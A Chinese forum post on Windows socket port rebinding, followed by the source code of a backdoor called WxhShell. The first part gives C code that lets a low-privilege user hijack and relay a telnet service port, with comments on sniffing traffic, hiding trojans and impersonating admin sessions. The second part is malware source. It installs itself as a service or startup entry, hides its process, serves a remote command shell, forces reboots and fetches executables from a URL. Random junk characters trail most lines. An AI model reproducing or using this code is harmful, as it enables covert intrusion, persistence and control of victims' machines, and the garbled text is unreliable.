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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZWJ%t'kF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 /@lZ  
g+CTF67  
  saddr.sin_family = AF_INET; ::'DWD1  
uh,~Cv XU]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); > wsS75n1  
T\}?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t4HDt\}&k~  
c;RB!`9"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &dA{<.  
[Ol}GvzJ7  
  这意味着什么?意味着可以进行如下的攻击: #fT1\1[]  
Ekq&.qjYG"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R^t )~\d  
-TL `nGF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @C\>P49  
?r< F/$/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fg[]>:ZT.  
WsHC%+\'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JjO="Cmk/  
X MkyX&y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,V$PV,G  
wXj!bh8\r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -v]v m3Na  
<<Zt.!hS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'j6)5WL$  
mv%Zh1khn/  
  #include 'ju  
  #include e-@=QI^,  
  #include gW0{s[}T  
  #include    ZH o#2{F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q ERdQ~M,  
  int main() QY$Z,#V)  
  { l;u_4`1H  
  WORD wVersionRequested; {3V%  
  DWORD ret; ;0R|#9oX_  
  WSADATA wsaData;  D I` M  
  BOOL val; f[S$ Gu4-  
  SOCKADDR_IN saddr; .nGYx  
  SOCKADDR_IN scaddr; ry99R|/d1  
  int err; pUTC~|j%:  
  SOCKET s; j?eWh#[K"  
  SOCKET sc; {'(1c)q>  
  int caddsize; 0iy-FV;J  
  HANDLE mt; u+U '|6)E  
  DWORD tid;   I\8f`l  
  wVersionRequested = MAKEWORD( 2, 2 ); |dLA D4%  
  err = WSAStartup( wVersionRequested, &wsaData ); ]t4 9Efw  
  if ( err != 0 ) { &DUt`Dr w  
  printf("error!WSAStartup failed!\n"); 0/r\#"+XT  
  return -1; F0&BEJBkU  
  } RA5*QW  
  saddr.sin_family = AF_INET; ;c>Co:W  
   y2XeD=_'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CBj&8#8Z  
6Vq]AQx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BK+(Uf;g  
  saddr.sin_port = htons(23); HizMjJ|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SL( WE=H  
  { 627xR$U~  
  printf("error!socket failed!\n"); sE,Q:@H5  
  return -1; _b ~XBn  
  } ]yR0"<W^xO  
  val = TRUE;  'Dh+v3O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /Dh[lgF0C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n_8wYiBs(  
  { i2h,=NHJh?  
  printf("error!setsockopt failed!\n"); >n`!S`)9{  
  return -1; C^dnkuA  
  } ow,4'f!d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %cPz>PTW@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 muD7+rn?&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pONBF3H8  
)_7OHV *3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E`^?2dv+/  
  { i;'kQ  
  ret=GetLastError(); >Ei-Spy>Xl  
  printf("error!bind failed!\n"); vai.w-}Z  
  return -1; oH[4<K>  
  } ig] hY/uT  
  listen(s,2); O@n1E'S/  
  while(1) /M Hml0u  
  { .H.#W1`  
  caddsize = sizeof(scaddr); e~wuoE:M3  
  //接受连接请求 =*ZQGM3w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pO2Y'1*  
  if(sc!=INVALID_SOCKET) aP%& -W$D|  
  { ZO`{t1   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @D<KG  
  if(mt==NULL) e-}b]\  
  { "cK@Yo  
  printf("Thread Creat Failed!\n"); |C MKY  
  break; wZ^ 7#yX>  
  } Hg~O0p}[  
  } <G5d{rKZ  
  CloseHandle(mt); . q=sC?D  
  } /1h 0 l;  
  closesocket(s); 6" s}<  
  WSACleanup(); zsQhydTR  
  return 0; 6b-j  
  }   )$h<9e  
  DWORD WINAPI ClientThread(LPVOID lpParam) A;pVi;7  
  { W~TT`%[  
  SOCKET ss = (SOCKET)lpParam; 2J^jSgr50d  
  SOCKET sc; ;M<jQntqS{  
  unsigned char buf[4096]; ]A;{D~X^w  
  SOCKADDR_IN saddr; ("UzMr,  
  long num; rQW&$M  
  DWORD val; -ZmccT"8  
  DWORD ret; O{sb{kk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n+C,v.X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LLa72HW  
  saddr.sin_family = AF_INET; 3C=|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SBj9sFZ  
  saddr.sin_port = htons(23); &=seIc>x@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aNqhxvwf  
  { YW|KkHi*  
  printf("error!socket failed!\n"); "IK QFt'  
  return -1; q#8$@*I  
  } kt.y"^  
  val = 100; Cg~GlZk}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z+mesj?.  
  { 5#v  
  ret = GetLastError(); yK1Z&7>J>  
  return -1; ]5!}S-uJq  
  } %T.4Aj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `M "O #  
  { ?qn0].  
  ret = GetLastError(); hkS K;  
  return -1; s'&/8RR  
  } kfod[*3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2{<5?Op  
  { ?A[q/n:K  
  printf("error!socket connect failed!\n");  X,zqI  
  closesocket(sc); 8x`?Yc  
  closesocket(ss); 2>E.Q@c  
  return -1; i.0}d5Y  
  } yJt0KUw@!  
  while(1) l.DC20bs  
  { 7?@s.Sz|fV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I?) .D?o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C *\ =Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .?gpI Zv  
  num = recv(ss,buf,4096,0); ' (JSU   
  if(num>0) MjO.s+I  
  send(sc,buf,num,0); D6 2xC5  
  else if(num==0) OygR5s +  
  break; jIZpv|t)  
  num = recv(sc,buf,4096,0); [V\0P,l  
  if(num>0) ls(lL\  
  send(ss,buf,num,0); ~*Fbs! ;,  
  else if(num==0) /$'R!d5r  
  break; ebbC`eFD  
  } c,$ >u,4  
  closesocket(ss); rt\i@}  
  closesocket(sc); A4}6hG#  
  return 0 ; QLq^[ >n  
  } &cty&(2p  
-t92!O   
AE:IXP|c  
========================================================== g~5$X{  
hOI| #(-  
下边附上一个代码,,WXhSHELL =WaZy>n}7  
l;4},N  
========================================================== F,Ls1  
e8HGST`  
#include "stdafx.h" *\?t W]8<  
eOZ0L1JM!  
#include <stdio.h> gNon*\a,-B  
#include <string.h> _z:7Dj#  
#include <windows.h> p[E}:kak_-  
#include <winsock2.h> [L.+N@M  
#include <winsvc.h> [4V{~`sF  
#include <urlmon.h> [25[c><:w"  
}L.xt88  
#pragma comment (lib, "Ws2_32.lib") HPGMR4=ANS  
#pragma comment (lib, "urlmon.lib") o% ZtE  
7J ~usF>A  
#define MAX_USER   100 // 最大客户端连接数 :iWW2fY  
#define BUF_SOCK   200 // sock buffer PgNg1  
#define KEY_BUFF   255 // 输入 buffer Ae&470  
PZVh)6f"c  
#define REBOOT     0   // 重启 w1Z9@*C!  
#define SHUTDOWN   1   // 关机 OT6uAm+\7_  
+{Qk9Z  
#define DEF_PORT   5000 // 监听端口 BDW%cs  
aCu 8 D!  
#define REG_LEN     16   // 注册表键长度 \2q!2XWgK  
#define SVC_LEN     80   // NT服务名长度 PU0Ha  
3I87|5V,Z  
// 从dll定义API IMaa#8,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0w'%10"&U+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3)jFv7LAU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3P{ d~2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [TUy><Z  
9M3XHj  
// wxhshell配置信息 F iZe4{(p  
struct WSCFG { ?:D#\4=US  
  int ws_port;         // 监听端口 i:9f#  
  char ws_passstr[REG_LEN]; // 口令 fi5x0El  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z=VAjJ;i[  
  char ws_regname[REG_LEN]; // 注册表键名 Igowz7  
  char ws_svcname[REG_LEN]; // 服务名 K `|%-k+D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UY@^KT]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8lG@8tbW^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #t.)4$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JI TQ3UL:W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vrr&Ve  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Kn:>l$*7  
xign!=  
}; B@P +b*%  
z8HOig?  
// default Wxhshell configuration ,>H(l$n  
struct WSCFG wscfg={DEF_PORT, a[ Pyxx_K  
    "xuhuanlingzhe", E-P;3lS~  
    1, wc&%icF*cr  
    "Wxhshell", lX^yd5M&f  
    "Wxhshell", >HvgU_  
            "WxhShell Service", u9-:/<R#}y  
    "Wrsky Windows CmdShell Service", q)Qd+:a7{  
    "Please Input Your Password: ", jNKu5"HB  
  1, Q\WH2CK  
  "http://www.wrsky.com/wxhshell.exe", ZE+VLV v  
  "Wxhshell.exe" wR)U&da`@  
    }; tO0MYEx"  
oMM+af  
// 消息定义模块 ZCdlTdY   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i98>=y~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y~,mIM$[@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >LvQ&fAo  
char *msg_ws_ext="\n\rExit."; (o+(YV^  
char *msg_ws_end="\n\rQuit."; 6Vr:?TI7  
char *msg_ws_boot="\n\rReboot..."; |?zFm mh  
char *msg_ws_poff="\n\rShutdown..."; tOQ2947zk  
char *msg_ws_down="\n\rSave to "; 2~yYwX  
R#D>m8&}3  
char *msg_ws_err="\n\rErr!"; `:=af[n   
char *msg_ws_ok="\n\rOK!"; )Sz2D[@n  
${(c `X  
char ExeFile[MAX_PATH]; 0)@7$Xhf  
int nUser = 0; }n!$)W*?  
HANDLE handles[MAX_USER]; azEN_oUV  
int OsIsNt; "pQFIV,  
]yc&ffe%  
SERVICE_STATUS       serviceStatus; |=R@nn   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; teRK#: .P  
An cka  
// 函数声明 u"WqI[IV  
int Install(void); "x;|li3;  
int Uninstall(void); 3aD\J_  
int DownloadFile(char *sURL, SOCKET wsh); 0l.\KF  
int Boot(int flag); '/2u^&W  
void HideProc(void); ^0 zWiX  
int GetOsVer(void); ,C4gA(')K  
int Wxhshell(SOCKET wsl); 58TH|Rj+I  
void TalkWithClient(void *cs); = JE4C9$,  
int CmdShell(SOCKET sock); dfo_R  
int StartFromService(void); w(>mP9Cb  
int StartWxhshell(LPSTR lpCmdLine); 33O O%rWi  
]UtfI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /UwB6s(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n U0  
S6Er# )k  
// 数据结构和表定义 tc.`P]R   
SERVICE_TABLE_ENTRY DispatchTable[] = W3AtO  
{ BWtGeaW/sr  
{wscfg.ws_svcname, NTServiceMain}, qFqK. u  
{NULL, NULL} A*&`cUoA  
};  1rnbUE  
w$E8R[J~P  
// 自我安装 `$kKTc:f  
int Install(void) @51!vQwqR  
{ #Cj$;q{!  
  char svExeFile[MAX_PATH]; {*#}"/:8K  
  HKEY key; )GbVgYkk  
  strcpy(svExeFile,ExeFile); 8eAc 5by  
A>0wqT  
// 如果是win9x系统,修改注册表设为自启动 $w:7$:k  
if(!OsIsNt) { &:]ej6 V'[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;v}f7v '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G<dWh.|`=  
  RegCloseKey(key); \{g;|Z 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y{Fq'w!ap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]]R!MnU:$  
  RegCloseKey(key); khXp}p!Zm  
  return 0; :6N'%LKK  
    } d]fo>[%Xr  
  } ")gd)_FOS  
} HU~,_m  
else { ap 5D6y+  
.}xF2'~E/  
// 如果是NT以上系统,安装为系统服务 JPs R7f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IJ#G/<ZJZ  
if (schSCManager!=0) _^Ds[VAgA  
{ (] Zyk, [  
  SC_HANDLE schService = CreateService { \r1A  
  ( 0=WZ 8|R  
  schSCManager, Q!%C:b  
  wscfg.ws_svcname, I;=HXL  
  wscfg.ws_svcdisp, 8!{;yz  
  SERVICE_ALL_ACCESS, 4>JDo,AWy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D&)w =qIu  
  SERVICE_AUTO_START, |i/Iv  
  SERVICE_ERROR_NORMAL, P&6hk6#  
  svExeFile, Q&JnF`*  
  NULL, U]8 @  
  NULL, @c >a  
  NULL, o?9k{  
  NULL, equ|v~@ y  
  NULL *8WcRx  
  ); >TnV Lx<  
  if (schService!=0) E~b Yk6  
  { (Lp$EC&%6  
  CloseServiceHandle(schService); KS9 e V  
  CloseServiceHandle(schSCManager); rM{3]v{~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v/1&V+"^kd  
  strcat(svExeFile,wscfg.ws_svcname); ^GS,4[)H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Boi?Bt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %T_4n^beFQ  
  RegCloseKey(key); u'm[wjCj c  
  return 0; ?E6*Ef  
    } N9|v%-_?)  
  } o3s ME2  
  CloseServiceHandle(schSCManager); ]<Ugg  
} Q5!"tF p  
} @2Spfj_e  
+W xZB  
return 1; =P,h5J  
} XBTtfl &  
{H\(H _X  
// 自我卸载 gG>|5R0  
int Uninstall(void) hwon ^?  
{ Msk^H7  
  HKEY key; >3{l"SPU  
g_T[m*  
if(!OsIsNt) { *.+Eg$'~V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t%B ,ATW  
  RegDeleteValue(key,wscfg.ws_regname); yv2&K=rZp  
  RegCloseKey(key); [6$n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t9Sog~:'  
  RegDeleteValue(key,wscfg.ws_regname); r X^wNH  
  RegCloseKey(key); xn=/SIS  
  return 0; 9=-d/y?  
  } 2X= pu. ;F  
} SccaX P  
} XSw!_d  
else { z. 6-D  
#RyX}t X,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gGtl*9a=  
if (schSCManager!=0) ]V`L\  
{ 52zD!(   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nw)yK%`;M  
  if (schService!=0) U}=o3u  
  { M^e;WY@ D  
  if(DeleteService(schService)!=0) { P:p@Iep  
  CloseServiceHandle(schService); &4m\``//9  
  CloseServiceHandle(schSCManager); pyf/%9R:d  
  return 0; }u CC~ <^  
  } O.9r'n4f  
  CloseServiceHandle(schService); %GY U$aA  
  } U|NVDuo{{x  
  CloseServiceHandle(schSCManager); X}Oo5SNgff  
} I Ceb2R  
} R _c! ,y  
NDmTxW#g  
return 1; t/3t69\x  
} 5y1:oiE/  
tbNIl cAWS  
// 从指定url下载文件 3~r>G  
int DownloadFile(char *sURL, SOCKET wsh) {cYS0%Go  
{ zx(=ArCRr  
  HRESULT hr; \?|FB~.Ry  
char seps[]= "/"; {p70( ]v  
char *token; )PU_'n=>  
char *file;  $O)fHD'  
char myURL[MAX_PATH]; ]W7e2:Hra  
char myFILE[MAX_PATH];  /uyZ[=5  
V1 H3}  
strcpy(myURL,sURL); 5d4/}o}%"  
  token=strtok(myURL,seps); {FrcpcrQa  
  while(token!=NULL) %]iDhXLr  
  { g aq"+@fH  
    file=token; -q8R'?z[  
  token=strtok(NULL,seps); y|e@zf  
  } gaIN]9wLm  
]{/1F:bcQ  
GetCurrentDirectory(MAX_PATH,myFILE); Y[8GoqE|  
strcat(myFILE, "\\"); L PDx3MS  
strcat(myFILE, file); 'on8r*  
  send(wsh,myFILE,strlen(myFILE),0); T+0Z2H  
send(wsh,"...",3,0); fBi6% #  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X<j(AAHE  
  if(hr==S_OK) q0>@!1Wb  
return 0; +W8L^Wl  
else 74c[m}'S  
return 1; Cd"cU~HAB  
6^'BhHP  
} [s"e?Qee  
9?IvSv}z  
// 系统电源模块 %:DH _0  
int Boot(int flag) S%sD#0l  
{ |P>Yf0  
  HANDLE hToken; @C?.)#  
  TOKEN_PRIVILEGES tkp; A\1X-Mm  
a9"1a'  
  if(OsIsNt) { SdJGhU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?q %&"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0?{Y6:d+  
    tkp.PrivilegeCount = 1; T"tR*2HwSd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1c%ee$Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9r efv  
if(flag==REBOOT) { ^tFbg+.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q9^6A90  
  return 0; WkF60'Hf  
} [`]h23vRW  
else { 7SyysH<H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +4r.G(n),  
  return 0; bh~"LQS1  
} /|HVp  
  } t 5{Y'  
  else { a#k=! W  
if(flag==REBOOT) { gI /#7Cr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _?YP0GpU  
  return 0; #3h~Z)+y  
} *wd@YMOP  
else { xaSg'8-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .Z0$KQ'iy  
  return 0; a*g7uaoP  
} 'Wv`^{y <^  
} ;L{#TC(]J]  
EW:tb-%`  
return 1; Wj}PtQ%lp/  
} \uUd *  
Q~y) V  
// win9x进程隐藏模块 qIC9L"I  
void HideProc(void) WCpCWtmy  
{ L#}HeOEi[  
\@K KX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XP |qY1  
  if ( hKernel != NULL ) H/I1n\  
  { @|i f^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "7. lsL5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z5k9|.hgw  
    FreeLibrary(hKernel); Ol@ssm  
  } t V:oBT*  
xyvG+K&  
return; 4uV,$/  
} M`=bJO:  
[JzOsi~R  
// 获取操作系统版本 5{esL4k  
int GetOsVer(void) \GFFPCi4 D  
{ 9wB}EDZ  
  OSVERSIONINFO winfo; uHNh|ew21  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [Up0<`Q{I_  
  GetVersionEx(&winfo); Z6F^p8O-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D rMG{Yiu  
  return 1; }iZ>Gm '5  
  else s&gzv=v  
  return 0; ifYC&5}SI  
} ,m08t9F  
@TWtM#  
// 客户端句柄模块 ZnVx 'Y  
int Wxhshell(SOCKET wsl) VY#:IE:T  
{ ;#>,eD2u  
  SOCKET wsh; f]*_]J/  
  struct sockaddr_in client; qtQB}r8  
  DWORD myID; r'GD  
{ yvKUTq`  
  while(nUser<MAX_USER) #dKHU@+U"  
{ KkF3E*q\H  
  int nSize=sizeof(client); \dG#hH4ZD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fho$:S  
  if(wsh==INVALID_SOCKET) return 1; >JWW2<  
UojHlTg#bT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f5droys9  
if(handles[nUser]==0) Og8'K=O#  
  closesocket(wsh); |fd}B5!c  
else GY[+HgT  
  nUser++; Z ^w5x:  
  } xwm-)~L4T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HfN:oww  
49;2tl;F  
  return 0; )RFE< Qcj  
} -T  5$l  
rP=!!fC1;  
// 关闭 socket #SR"Q`P  
void CloseIt(SOCKET wsh) '~Z#h  P  
{ FX6 *`  
closesocket(wsh); =q4 QBAW  
nUser--; vA(')"DDT  
ExitThread(0); kV mJG#  
} 1q&gTvIp  
!:7aXT*D$  
// 客户端请求句柄 EA/+~ux  
void TalkWithClient(void *cs) =)p/p6  
{ _&~y{;)S  
!FhiTh:GCh  
  SOCKET wsh=(SOCKET)cs; u{/!BCKE  
  char pwd[SVC_LEN]; qUMM}ls  
  char cmd[KEY_BUFF]; bO:m^*  
char chr[1]; u3Jsu=Nx-  
int i,j; ^&|$&7  
|RdiM&C7  
  while (nUser < MAX_USER) { n5yPUJK2L6  
!N:: 1c@C  
if(wscfg.ws_passstr) { @rh1W$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %~ROV>&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ST^@7f_  
  //ZeroMemory(pwd,KEY_BUFF); %NI'PXpI  
      i=0; }&o*ZY-1  
  while(i<SVC_LEN) { LhM{d  
6Ee UiLd  
  // 设置超时 9m:qQ1[\  
  fd_set FdRead; 3}}#'5D  
  struct timeval TimeOut; F%v?,`_&I  
  FD_ZERO(&FdRead); OFtAT@ =O  
  FD_SET(wsh,&FdRead); 'za4c4b*u  
  TimeOut.tv_sec=8; :<`hsKy&  
  TimeOut.tv_usec=0; 'aWzam>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <<Fk[qMA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wJ| wAS  
B_B~Y8=3`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xP1`FSO8=  
  pwd=chr[0]; #&hu-gMV  
  if(chr[0]==0xd || chr[0]==0xa) { ;zbF~5e  
  pwd=0; 9bDxml1  
  break; f17pwJ~=  
  } N8Mq0Ck{$  
  i++; +QqEUf<U*,  
    } ]('isq,P  
|c]Y1WwDx  
  // 如果是非法用户,关闭 socket  ?2g\y@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !7:~"kk  
} pFu3FUO*;  
mxpncM=q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZA;wv+hF=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )I`6XG  
oXR%A7  
while(1) { D:uBr|('  
*d,u)l :S  
  ZeroMemory(cmd,KEY_BUFF); 9tnW:Nw~  
D;V FM P  
      // 自动支持客户端 telnet标准   =a_B'^`L  
  j=0; w:}RS.AK  
  while(j<KEY_BUFF) { tXocGM {6C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RyGce' q  
  cmd[j]=chr[0]; ya9V+/i7T_  
  if(chr[0]==0xa || chr[0]==0xd) { |!\(eLR9>  
  cmd[j]=0; <*Kj7o{Qn  
  break; wec |~Rc-  
  } 8bB'[gJ]{  
  j++; J% B(4`  
    } !2('Cq_^  
~D4%7U"dv  
  // 下载文件 0!n6tz lT  
  if(strstr(cmd,"http://")) { T/V 5pYl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Ic)RPO9  
  if(DownloadFile(cmd,wsh)) _Z:WgO].  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr8v O"tZN  
  else r9/PmZo4x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +yq Z\$ii  
  } r+BPz%wM=O  
  else { & >AXB6  
BO b#9r  
    switch(cmd[0]) { Ny;(1N|&3  
  &b 2Vt  
  // 帮助 (~r"N?`  
  case '?': { o3hsPzOQx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B6gSt3w.  
    break; uC>X;<^   
  } 1RtbQ{2F;  
  // 安装 * Yr)>;^  
  case 'i': { g`jO  
    if(Install()) ,$,6%"'"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 29?{QJb  
    else /x6,"M[97  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N U*6MT4  
    break; 6'e}!O  
    } nQc]f*  
  // 卸载 m~fA=#l l  
  case 'r': { 7P`|wNq  
    if(Uninstall()) K h}Oiw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b7It8  
    else ,y[wS5li  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8FlDiP  
    break; s|U=_,.  
    } 21$YZlhJ  
  // 显示 wxhshell 所在路径 ,X&lVv#  
  case 'p': { ?qviJDD|f  
    char svExeFile[MAX_PATH]; `e t0i.  
    strcpy(svExeFile,"\n\r"); P9/5M4]tt  
      strcat(svExeFile,ExeFile); -<gGNj.x-  
        send(wsh,svExeFile,strlen(svExeFile),0); |0?h6  
    break; Y~T;{&wi  
    } K.cMuh  
  // 重启 H|4O`I;~(  
  case 'b': { ]q0mo1-EZ!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -hf)%o$  
    if(Boot(REBOOT)) S x';Cj-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-Lbz)k  
    else { W9~vBU  
    closesocket(wsh); Y"&&=M#  
    ExitThread(0); swvn*xr  
    } Z8P{Cr~U9  
    break; e9;<9uX  
    } :,$:@  
  // 关机 3 T$gT  
  case 'd': { /wB<1b"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )+c4n]  
